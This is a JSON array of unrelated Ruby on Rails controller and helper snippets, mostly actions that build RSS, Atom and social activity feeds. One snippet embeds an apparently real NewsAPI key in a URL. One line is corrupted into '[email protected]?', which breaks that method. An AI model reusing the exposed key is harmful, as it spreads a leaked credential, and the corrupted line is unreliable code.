[ "def rss\n\n # Get the specified user, making sure that it exists\n if !@user = User.find_by_login(params[:user_login])\n raise ActiveRecord::RecordNotFound\n end\n\n # If the everybody flag is set, respond with feed items about everybody\n # on Blavel\n # Otherwise, respond with feed items only about the people that the\n # current user is following\n @everybody = params[:everybody]\n if @everybody\n @feed_items = gather_feed_items\n else\n @feed_items = gather_feed_items(current_user)\n end\n\n rescue ActiveRecord::RecordNotFound => error\n logger.info error\n flash[:notice] = 'The user you requested does not exist.'\n redirect_to '/'\n end", "def feed\n @feed_items = @repository.recent_feed_items\n respond_to do |format|\n format.html # feed.html.erb\n format.json { render json: @feed_items }\n end\n end", "def index\n @posts = Post.limit 50\n @title = \"Weblog - last posts\"\n @updated = @posts.first.created_at unless @posts.empty?\n respond_to do |format|\n format.rss do\n redirect_to feeds_path(format: :atom),\n status: :moved_permanently\n end\n format.atom\n end\n end", "def feed\n if current_user\n feed = []\n Event.where(user_id: current_user.id).each do |event|\n event.comments.each do |comment|\n if (DateTime.current - comment.created_at.to_datetime).to_f < (DateTime.current - current_user.last_sign_in.to_datetime).to_f\n feed << event.name << comment\n end\n end\n event.file_attachments.each do |file|\n if (DateTime.current - file.created_at.to_datetime).to_f < (DateTime.current - current_user.last_sign_in.to_datetime).to_f\n feed << event.name << file\n end\n end\n end\n respond_with feed\n else\n redirect_to root_path\n end\n end", "def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end", "def feed\r\n\t\t@blogs = Blog.find(:all, :conditions => { :is_indexed => true, :is_complete => true }, :order => \"created_at DESC\")\r\n\t\trender :action => :feed, :layout => false\r\n\tend", "def feed\n get '/users/self/feed', auth_params\n end", "def index\n # Load the latest full blog feed for Frank's blog as per \n @latest_blog_posts = load_blog_feed_for_url('http://blog.rietta.com/feeds/posts/default?alt=rss')\n \n # Load the latest posts for the Marketing label feed. Labels are case sensitive - Marketing != marketing\n # Please note that the example of the Google website has an error on its label example. The alt=rss comes after\n # the label in the feed URL\n @latest_marketing_posts = load_blog_feed_for_url('http://blog.rietta.com/feeds/posts/default/-/Marketing?alt=rss')\n \n # Load the latest posts for the SQL Converter label feed (space in the tag)\n @latest_sql_converter_posts = load_blog_feed_for_url('http://blog.rietta.com/feeds/posts/default/-/SQL%20Converter?alt=rss')\n end", "def index\n @page_title = 'Feeds'\n if [email protected]?\n @feeds = @user.feeds\n else\n @feeds = Feed.find(:all, :limit => 100)\n end\n render_index\n end", "def index_feeds\n if @feeds.present?\n # Compose an array; each element is a hash containing the data necessary to render a feed in the JSON response\n @feeds_data = []\n @feeds.each do |feed|\n begin\n if @folder.nil?\n # If we're retrieving feeds regardless of folder, we have to find out in which folder is each feed, if any.\n folder_id = feed.user_folder(current_user)&.id || 'none'\n else\n # If we're retrieving feeds in a folder, we already know that all feeds are in this folder\n folder_id = @folder.id\n end\n\n unread_count = current_user.feed_unread_count feed\n\n data = {feed: feed, folder_id: folder_id, unread_count: unread_count}\n @feeds_data << data\n rescue NotSubscribedError => e\n # If the feed in the current iteration is no longer subscribed (e.g. because of an asynchrously running worker that has\n # unsubscribed it), just ignore it and continue with the next iteration\n Rails.logger.warn \"Listing subscribed feeds for user #{current_user.id} - #{current_user.email}, feed #{feed.id} is no longer subscribed, ignoring it\"\n end\n end\n\n respond_with @feeds_data\n else\n Rails.logger.info \"User #{current_user.id} - #{current_user.email} has no feeds to return, returning a 404\"\n head 404\n end\n end", "def feed\n tag = params[:tag] || \"home\"\n return render_feed(params[:type].to_sym, tag)\n end", "def feed\n @blog_articles = BlogArticle.all\n respond_to do |format|\n format.rss { render layout: false }\n end\n end", "def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end", "def feed\n\t\t@goths = Goth.find(:all, :conditions => 'published_at IS NOT NULL', :limit => 10, :order => 'published_at DESC')\n\tend", "def news_feed\n begin\n client = Feedlr::Client.new(oauth_access_token: ENV['FEEDLY_OAUTH_ACCESS_TOKEN'])\n @latest_list = {}\n client.user_unread_counts.unreadcounts.each do |unread_articles|\n next if unread_articles['count'] == 0\n unread_article_items = client.stream_entries_contents(unread_articles.id, unreadOnly: true).items\n next if unread_article_items.empty?\n\n unread_article_items.each do |article|\n @latest_list[article.alternate[0].href] = \"◼︎ <a href='#{article.alternate[0].href}'>#{article.title} - #{article.origin.title}</a>\"\n end\n client.mark_article_as_read(unread_articles.id)\n end\n @latest_news = @latest_list.values.join(\"<br>\")\n rescue => evar\n fail evar\n end\n @latest_news\n end", "def feed\n\n end", "def feed\n end", "def index\n @breast_feedings = BreastFeeding.all\n end", "def feed\n feed_items =\n Photo\n .where(restaurant_id: params[:id])\n .includes(:owner, :tags, :fans)\n .order(created_at: :desc)\n .not_deleted\n .approved\n .paginate(page: params[:page], per_page: params[:per_page])\n\n expose feed_items, each_serializer: PhotoActivitySerializer\n end", "def index\n @user_feeds = UserFeed.find_all_by_user_id(current_user.id)\n end", "def rss\n render_rss_feed_for Announcement.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Announcements',\n :link => announcements_url,\n :pub_date => :created_at\n },\n :item => {\n :title => :headline,\n :description => :formatted_description,\n :link => Proc.new{|announcement| \"#{announcements_url}##{announcement.id}\" }\n }\n }\n end", "def friend_feed(options={})\n get('/feed', options)\n end", "def feed\n @posts = Post.all\n\n render_view(:feed)\n end", "def feeds\n\t\tuser = User.find_by_id(params[:user_id])\n\t\tunless user\n\t\t\trender json: {error: \"user not fonud\"} and return\n\t\tend\n\t\tcq = CompletedQuest.where(user_id: user.friends.ids).order(created_at: :desc).limit(10)\n\t\tfeeds = []\n\t\tcq.each do |q|\n\t\t\thash = {}\n\t\t\thash[:quest] = q.quest\n\t\t\tfriend = q.user\n\t\t\tfriend.password = nil\n\t\t\thash[:friend] = friend\n\t\t\thash[:time] = q.created_at\n\t\t\tfeeds.push(hash)\n\t\tend\n\t\trender json: {feeds: feeds}\n\tend", "def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end", "def show\n @feed = Feed.find(params[:id])\n #@feeds = Feed.from_users_followed_by(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def index\n @feed = Feed.new\n @feeds = Feed.all :order => :title\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feeds }\n end\n end", "def show\n @feed = Feed.find(params[:id])\n @related_feeds = @feed.list_related_feeds(current_user)\n @feed_entries = Entry.where(feed_id: @feed.id).order(\"updated_at DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def index\n @agencyfeeds = AgencyFeed.all\n\n render :index, status: :ok\n end", "def index\n #body, ok = SuperfeedrEngine::Engine.retrieve(Feed.first) \n @entries = Entry.all\n end", "def index\n feeds = []\n\n @blogs_filter = params[:filter].blank? ? \"All\" : params[:filter]\n\n @feeds = case @blogs_filter\n when \"All\" then UserFeed\n when \"Politics\" then UserFeed.politics\n when \"Technology\" then UserFeed.technology\n when \"Science\" then UserFeed.science\n when \"Sports\" then UserFeed.sports\n when \"Health\" then UserFeed.health\n when \"Art_Design\" then UserFeed.art\n when \"Finance\" then UserFeed.finance\n when \"US\" then UserFeed.us\n when \"Business\" then UserFeed.business\n when \"Travel\" then UserFeed.travel\n when \"Entertainment\" then UserFeed.entertainment\n when \"World\" then UserFeed.world\n end\n\n @feeds.where(:user_id => current_user.id).each do |feed|\n feeds << feed.feed_id unless feeds.include?(feed.feed_id)\n end\n\n @blogs = EntryFeed.where(:feed_id => feeds)\n\n if !params[:date_selected].blank?\n selected_dates = params[:date_selected].split(\",\").first\n date_1 = selected_dates.first\n date_2 = selected_dates.last\n @blogs = @blogs.where('published_at >= ? and published_at <= ?', date_1, date_2)\n end\n\n @blogs = @blogs.order(\"created_at DESC\").page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @blogs }\n end\n end", "def feeds_with_top_tweets\n\n end", "def index\n @feeds = Feed.all\n\n # fetching a single feed\n #@feed = Feedzirra::Feed.fetch_and_parse(\"http://feeds.feedburner.com/PaulDixExplainsNothing\")\n\n # @entries = @feed.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @feeds }\n end\n end", "def following_broadcast_feed\n request('/followingBroadcastFeed', {body: {}})\n end", "def news\n do_scrape\n @posts = UbuEntry.all(:order => \"id DESC\", :limit => 400)\n render :layout => false, :content_type => Mime::RSS\n end", "def index\n @feeds = Feed.all\n end", "def index\n @feeds = Feed.all\n end", "def index\n @feeds = Feed.all\n end", "def index\n @feeds = Feed.all\n end", "def index\n @feeds = Feed.all\n end", "def index\n @feed_infos = FeedInfo.all\n end", "def index\n @activities = PublicActivity::Activity.published\n\n if params[:recipient_type] and recipient_klass = params[:recipient_type].safe_constantize and r_id = params[:recipient_id] and @recipient = recipient_klass.find(r_id)\n @activities = @activities.on(@recipient)\n elsif current_user\n # This is user current feed !\n query_params = ['User', current_user.id]\n query = \"(activities.recipient_type = ? AND activities.recipient_id = ?)\"\n\n # Followed Pages\n if pages = current_user.followed_pages and pages.present?\n query += \" OR (activities.recipient_type = ? AND activities.recipient_id IN (?))\"\n query_params += [\"Page\"] + [pages.collect(&:id)]\n end\n\n @activities = @activities.where(query, *query_params)\n\n else\n head :bad_request # should not happen\n end\n\n @activities = @activities.order('updated_at DESC, created_at DESC').page(params[:page]).per(5)\n \n authorize @activities\n end", "def feed\n offset, limit = pagination_values\n id = params.require(:id)\n feed_users_ids = UserFollowing.where(user_id: id).pluck(:following_id) << id\n feed_posts = Post.select(:id, :description, :author_id, :created_at, :updated_at).where(author: feed_users_ids).order(created_at: :desc).offset(offset).limit(limit)\n if stale? feed_posts\n render json: PostSerializer.array_to_json(feed_posts, {success: true, offset: offset, limit: limit}) , status: :ok\n end\n end", "def index\n \n if params[:my_feed]\n @friend_ids = current_user.friends.pluck(:id)\n @posts = Post.where(\"user_id IN (?) OR user_id = ?\", @friend_ids, current_user.id).order(created_at: :desc)\n else\n @posts = Post.order(created_at: :desc)\n end\n\n @post = Post.new\n @friend_request = FriendRequest.new\n @comment = Comment.new\n end", "def show\n\n update_feed(@feed)\n\n @items = @feed.items.order('pub_date DESC').page params[:page]\n\n end", "def index\n redirect_to @feed\n end", "def feed\n\t\t# Microalert.from_buildings_followed_by(self) \n\t\t#Microalert.where(\"vocal_type = ? AND vocal_id = ?\", self.class.name, id)\n\t\t#Microalert.from_buildings_followed_by(self)\n\t\tMicroalert.from_all_followed_by(self) \n\tend", "def rss\n render_rss_feed_for Idea.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Ideas',\n :link => url_for(:controller => 'ideas', :action => 'list', :only_path => false),\n :pub_date => :created_at\n },\n :item => {\n :title => :title,\n :description => :formatted_description,\n :link => Proc.new{|idea| url_for(:controller => 'ideas',\n :action => 'show', :id => idea.id)}\n }\n }\n end", "def index\n get_recent_activity\n if params[:remote]\n render partial: \"subscriptions/summary\"\n else\n #current_user.update_attribute(:feed_last_visited_at, Time.now)\n render \"index\"\n end\n end", "def index\n @feed_items = @user.feed_items\n render json: @feed_items\n end", "def feeds\n profile = Profile.find(params[:id])\n profile.feeds\n redirect_to lato_profile_path(profile)\n end", "def index\n @feed_items = FeedItem.all\n end", "def feeds\n all.select { |c| c.google_id =~ /^feed/ }\n end", "def index\n @feed = Feed.find(params[:feed_id])\n @pages = ( @feed.articles.count.to_f/5).ceil\n @cur_feed_id = params[:feed_id].to_i\n @articlesBackbone = @feed.articles.order(\"create_time DESC\")\n @articles = @feed.articles.order(\"create_time DESC\").paginate(:page => params[:page], :per_page=> 5)\n @pages = ( @feed.articles.count.to_f/5).ceil\n gon.pages = @pages\n @cur_feed_id = params[:feed_id].to_i\n gon.cur_feed_id = @cur_feed_id\n if params[:only_list].blank? \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articlesBackbone }\n end\n else\n render :layout=>false, :action=>\"list\"\n end\n end", "def show\n @feed = Feed.find(params[:id]) rescue Feed.find_by_uri(params[:id])\n if @feed.is_duplicate? and @feed.duplicate\n redirect_to feed_url(@feed.duplicate)\n else\n respond_to do |wants|\n wants.html do\n render :action => 'show'\n end\n wants.atom do\n render :xml => @feed.to_atom(:base => \"http://#{request.host}:#{request.port}\", :include_entries => true, :page => params[:page]) \n end\n wants.xml { render :xml => @feed.to_xml }\n end\n end\n end", "def feed( params={} )\n feed = get_connections(\"feed\", params)\n return map_connections feed, :to => Facebook::Graph::Fee\n end", "def feed\n feed =\n Photo\n .where(owner_id: current_user.feed_ids)\n .order(created_at: :desc)\n .includes([:tags, :fans])\n .not_deleted\n .approved\n .paginate(page: params[:page], per_page: params[:per_page])\n\n expose feed, each_serializer: ActivitySerializer\n end", "def index\n params[:feeds] = current_user.feeds.collect { |item| item.id }\n if params[:feeds].count > 0\n @articles = Article.search(params)\n else\n @articles = []\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @articles }\n end\n end", "def index\n @breast_feedings = @baby.breast_feedings# Se muestran los amamantamientos asociados a este bebe\n end", "def feed_items\n feed_item\n end", "def feed\n @articles = Article.feed_list(current_user, params[:page])\n end", "def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end", "def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def feed\n user = User.find(params[:id])\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n microposts = Micropost.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: params[:id])\n microposts_json = microposts_as_json(microposts.paginate(page: params[:page]))\n next_page = microposts.paginate(page: params[:page]).next_page\n @package = { next_page: next_page,\n microposts: microposts_json,\n is_current_user: (user == current_user) }\n render json: @package\n end", "def index\n @feed_entries = FeedEntry.all\n @title = \"Feeds List\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feed_entries }\n end\n end", "def get_feed(params)\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Entering\")\n\n url = process_node(params)\n\n if url && String === url && url !~ /^http/ && params[:url]\n url = URI.join(params[:url] , url).to_s\n elsif url && Array === url\n url.map! do |u|\n if u !~ /^http/ && params[:url]\n URI.join(params[:url], u).to_s\n else\n u\n end\n end\n url.uniq!\n end\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Leaving\")\n params[:output][\"feed\"] = url\n\n rescue => e\n Rails.logger.error(\"[RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] **** RESCUE **** #{e.message} \")\n nil\n end", "def index\n @feeds = Feed.by_permission\n end", "def feed\n # This is preliminary. See \"Following users\" for the full implementation.\n Micropost.where(\"story_id = ?\", id)\n end", "def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def feed\n @posts = Post.feed_of(params[:id])\n end", "def index\n news_url = 'https://newsapi.org/v1/articles?source=national-geographic&sortBy=top&apiKey=ba8b42abfab743f3bfe37fe0f9df3557'\n response = HTTParty.get(news_url)\n @news_data = response\n\n @all_posts = current_user.posts\n # @new_post = Post.new #post is not tagged to user\n @new_post = current_user.posts.new\n end", "def feed!\n http_fetch(feed_url)\n end", "def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end", "def getFeed\n\t\t\tresponse = HTTP.get(\"https://graph.facebook.com/v2.12/#{self.page_resource}/feed?access_token=#{ENV['FB_ACCESS_TOKEN']}\")\n\t\t\tfeedHash = JSON.parse(response.body)\n\t\t\tposts = feedHash[\"data\"].collect do |feed|\n\t\t\t\t\tfb_created = Date.parse(feed[\"created_time\"])\n\t\t\t\t\tcontent = feed[\"message\"]\n\t\t\t\t\tstory = feed[\"story\"]\n\t\t\t\t\tfb_id = feed[\"id\"]\n\t\t\t\t\toldPost = self.posts.where(fb_id: fb_id)\n\t\t\t\t\t\n\t\t\t\t\tif oldPost.empty? && !content.nil?\n\t\t\t\t\t\tself.posts.create(fb_id: fb_id, content: content, fb_created: fb_created.strftime('%m/%d/%Y'), story: story)\n\t\t\t\t\tend\n\t\t\tend \t\n\tend", "def feed\r\n # check for valid access key:\r\n user = User.find_by_rss_access_key(params[:access_key])\r\n @authorized = !user.blank?\r\n\r\n # get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # set appriopriate instance variables,\r\n # so the feed can be created in folder.rxml\r\n if @authorized and not @folder.blank?\r\n if @folder.is_root or user.can_read(@folder.id)\r\n @folders = @folder.list_subfolders(user, 'name')\r\n @myfiles = @folder.list_files(user, 'filename')\r\n else\r\n @authorized = false\r\n end\r\n end\r\n\r\n # finally, set correct header\r\n if @authorized\r\n headers['Content-Type'] = 'text/xml'\r\n else\r\n headers['Content-Type'] = 'text/html'\r\n end\r\n end", "def index\n @stories = @current_tag ? Story.tagged_with(@current_tag.name) : @current_channel.stories\n @stories = @stories.in_category(@current_category) if @current_category\n @stories = @stories.paginate(:page => params[:page], :per_page => 20)\n\n @feed_title = @current_category ? \"All #{@current_category.name} Stories \" : \"All Stories \"\n @feed_title += @current_tag ? \"Tagged with #{@current_tag.name}\" : \"in #{@current_channel.name} Channel\"\n\n @site_description += ',' + @stories.map(&:title).join(',')\n \n respond_to do |format|\n format.html\n format.atom do \n render :layout => false\n end\n end\n end", "def index\n @feeds = Feed.all.order(\"updated_at DESC\")\n end", "def feed\n\t\tputs \"You feed #{@name}\"\n\t\t@stuff_in_belly = 10\n\t\tpassage_of_time\n\tend", "def index\n @feeds = Feed.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @feeds.to_xml }\n end\n end", "def index\n @rushees = current_brother.fraternity.rushees\n @actions = Action.where( brother_id: current_brother.id ).order(:created_at)\n @max_feed = 5 \n\tend", "def allfeedseen\n\t\tusernews = News.where(:targetuser_id => current_user.id).all\n\t\tusernews.update_all(:seen => 1);\n\t\tusernews.order('created_at DESC').offset(20).destroy_all\n\n\t\trespond_to do |format|\n format.json { render json: {} , status: 200 }\n end\n\tend", "def get_chatter_feed()\n \n feed = feed_query(\"/services/data/v23.0/chatter/feeds/groups/me/feed-items\")\n \n# puts feed.to_xml\n @error = false\n @output = feed\n if @output.include?('items')\n @last_post_url = @output['items'][0][\"url\"]\n SensorAdapter.saveUrl(@last_post_url);\n @is_liked = @output['items'][0][\"isLikedByCurrentUser\"]\n else\n @error = true\n @last_post_url = nil\n @is_liked = nil\n end\n \n if not @error\n @bot_response = ResponseFilter.new(feed).to_xml\n else\n puts \"REQUEST ERROR\"\n @bot_response = feed.to_yaml\n end\n puts @bot_response\n \n# puts \"Is currently like by bot: \" + @is_liked.to_s\n return feed\n end", "def received_blogs\n shared_blogs = current_user.shared_blogs\n get_blogs(shared_blogs)\n end", "def index\n if params[:id]\n @feed = Feed.find(params[:id])\n elsif params[:department_id]\n @department=Department.find(params[:department_id])\n @feeds = Feed.all.order({ updated_at: :desc })\n elsif params[:q]\n @feeds=Feed.search(params[:q])\n else\n @feeds = Feed.all.order({ updated_at: :desc })\n end\n end", "def index_all\n # If feed subscriptions have not changed, return a 304\n if stale? etag: EtagCalculator.etag(current_user.subscriptions_updated_at),\n last_modified: current_user.subscriptions_updated_at\n @folder = nil\n @feeds = current_user.subscribed_feeds include_read: @include_read, page: params[:page]\n index_feeds\n end\n end", "def index\n respond_to do |format|\n format.html do\n @content_title = 'The Beers'\n @secondary_title = 'Browsing all beers'\n @pages, @beers = paginate :beers, :include => [ 'page', 'brewery' ],\n :order => 'breweries.title ASC, beers.title ASC',\n :per_page => per_page\n @breweries = @beers.collect { |b| b.brewery }.uniq\n flash.now[:notice] = 'There are no beers yet.' if @beers.empty?\n @tags = Page.tags(:limit => 25, :order => \"name DESC\",\n :owner_type => 'Beer')\n end\n format.rss do\n @beers = Beer.find :all, :order => 'beers.created_at DESC',\n :limit => per_page\n render :partial => 'beers'\n end\n end\n end", "def show\n @mypost = Mypost.find(params[:id])\n\t@myposts = Mypost.all\n @feed_me_items = []\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mypost }\n end\n\t\n end", "def feed_items(feed_title) \n # update last_viewed_at \n @client.query \"UPDATE feeds SET last_viewed_at = now() where title = '#{e feed_title}'\"\n query = \"SELECT items.title, guid, feed, feed_title, pub_date, word_count, starred, unread from items where items.feed_title = '#{e feed_title}' order by pub_date asc\"\n @client.query(query)\n end", "def everybody\n filters = params[:filters]\n workflows = WorkflowSeries.\n unremoved.\n accessible_by_public.\n eager_load(latest_revision_workflow: [user: :org]).\n includes(:taggings).\n order(order_from_params).\n map do |series|\n latest = series.latest_accessible(@context)\n latest if Workflows::WorkflowFilter.match(latest, filters)\n end.compact\n\n render_workflows_list workflows\n end", "def feed_message(activity, recent = false)\n owner = activity.owner\n case activity_type(activity)\n when \"StatusUpdate\"\n status = activity.item\n text = status.text\n time = status.created_at\n if recent\n %(#{owner.short_name}:\n #{sanitize(highlight(text, text))}。)\n else\n %(#{user_link_with_image(owner)}:\n #{sanitize(highlight(text, text))}。)\n end\n when \"BlogPost\"\n post = activity.item\n blog = post.blog\n view_blog = blog_link(\"#{h owner.name} 的日記\", blog)\n if recent\n if owner.class.to_s == \"User\"\n %(#{owner.short_name} 張貼了一篇日記 #{link_to post.title, blog_post_path(blog, post)}。)\n elsif owner.class.to_s == \"Group\"\n %(#{user_link(post.user)} 張貼了一篇日記 #{link_to post.title, blog_post_path(blog, post)}。)\n end\n else\n if owner.class.to_s == \"User\"\n %(#{user_link_with_image(owner)} 張貼了一篇日記\n #{post_link(blog, post)}。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p><p>\n #{post_link(\"繼續閱讀\", blog, post)}</p>)\n elsif owner.class.to_s == \"Group\"\n %(#{user_link(post.user)} 張貼了一篇日記\n #{post_link(blog, post)}。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p><p>\n #{post_link(\"繼續閱讀\", blog, post)}</p>)\n end\n end\n when \"Entry\"\n entry = activity.item\n view_entry = entries_link(\"#{h owner.name} 的所有文章\", owner)\n if recent\n %(#{owner.short_name} 分享了一篇美食評論 #{entry_link(owner, entry)}。)\n else\n %(#{user_link_with_image(owner)} 分享了一篇美食評論\n #{entry_link(owner, entry)} &mdash; #{view_entry}。<p>\n #{entry_link(\"繼續閱讀\", owner, entry)}</p>)\n end\n when \"Photo\"\n photo = activity.item\n view_gallery = gallery_link(\"#{h photo.gallery.title}\", photo.gallery)\n if recent\n if owner.class.to_s == \"User\"\n %(#{owner.short_name} 在相簿 #{view_gallery} 新增了相片\n #{photo_link(owner, photo)}。)\n elsif owner.class.to_s == \"Group\"\n %(#{user_link(photo.creator)} 在相簿 #{view_gallery} 新增了相片 \n #{photo_link(owner, photo)}。)\n end\n else\n if owner.class.to_s == \"User\"\n %(#{user_link_with_image(owner)} 在相簿 #{view_gallery} 新增了相片。<p>\n #{photo_image_link(photo)}</p><p class=\"meta\">\n #{gallery_link(photo.gallery)}</p>)\n elsif owner.class.to_s == \"Group\"\n %(#{user_link_with_image(photo.creator)} 在相簿 #{view_gallery} 新增了相片。<p>\n #{photo_image_link(photo)}</p><p class=\"meta\">\n #{gallery_link(photo.gallery)}</p>)\n end\n end\n when \"Comment\"\n entry = activity.item.entry\n user = entry.user\n if recent\n %(#{owner.short_name} 對 #{someones(entry.user, user)} 分享的美食文章\n #{entry_link(\"#{entry.title}\", user, entry)} 發表回應。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(owner)} 對\n #{someones(entry.user, user)} 分享的美食文章\n #{entry_link(\"#{entry.title}\", user, entry)} 發表回應。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n when \"WallComment\"\n parent = activity.item.commentable\n parent_type = parent.class.to_s\n case parent_type\n when \"BlogPost\"\n post = activity.item.commentable\n blog = post.blog\n if recent\n %(#{owner.short_name} 在 #{someones(blog.owner, owner)} 的日記\n #{link_to post.title, blog_post_path(blog, post)} 留言:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(owner)} 在\n #{someones(blog.owner, owner)} 的日記\n #{link_to post.title, blog_post_path(blog, post)} 留言:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n when \"Photo\"\n photo = activity.item.commentable\n user = photo.owner\n if recent\n %(#{owner.short_name} 對 #{someones(photo.owner, owner)} 的相片\n #{photo_link(user, photo)} 做了評論。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(owner)} 對\n #{someones(photo.owner, owner)} 的相片\n #{photo_link(user, photo)} 做了評論。<p>\n #{photo_image_link(photo)}</p><p class=\"meta\">\n #{gallery_link(photo.gallery)}</p><p class=\"meta\">\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 80))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n when \"User\"\n if recent\n %(#{owner.short_name} 在 #{wall(activity)} 的塗鴉牆留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(activity.item.commenter)}\n 在 #{wall(activity)} 的塗鴉牆留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n when \"Group\"\n if recent\n %(#{owner.short_name} 在群組 #{wall(activity)} 的留言板留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(activity.item.commenter)} 在群組\n #{wall(activity)} 的留言板留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n when \"Event\"\n event = activity.item.commentable\n commenter = activity.item.commenter\n if event.eventable.class.to_s == \"Group\"\n if recent\n %(#{owner.short_name} 在群組 \n #{group_link(event.eventable)} 的活動\n #{event_link(event.title, event)} 頁面上留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(commenter)} 在群組 \n #{group_link(event.eventable)} 的活動\n #{event_link(event.title, event)} 頁面上留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n else\n if recent\n %(#{owner.short_name} 在 \n #{someones(event.user, commenter)} 建立的活動\n #{event_link(event.title, event)} 頁面上留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(commenter)} 在 \n #{someones(event.user, commenter)} 建立的活動\n #{event_link(event.title, event)} 頁面上留言。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n end\n when \"NewsItem\"\n news = activity.item.commentable\n commenter = activity.item.commenter\n if news.newsable.class.to_s == \"User\"\n if recent\n %(#{owner.short_name} 回覆了 \n #{someones(news.creator, commenter)} 的網誌文章\n #{note_link(news.newsable, news)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(commenter)} 回覆了 \n #{someones(news.creator, commenter)} 的網誌文章\n #{note_link(news.newsable, news)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n elsif news.newsable.class.to_s == \"Group\"\n if recent\n %(#{owner.short_name} 在群組 \n #{someones(news.newsable, commenter)} 的新聞訊息\n #{news_link(news.newsable, news)} 回應。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(commenter)} 在群組 \n #{someones(news.newsable, commenter)} 的新聞訊息\n #{news_link(news.newsable, news)} 回應。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n elsif news.newsable.class.to_s == \"Widget\"\n if recent\n %(#{owner.short_name} 在 \n #{someones(news.creator, commenter)} 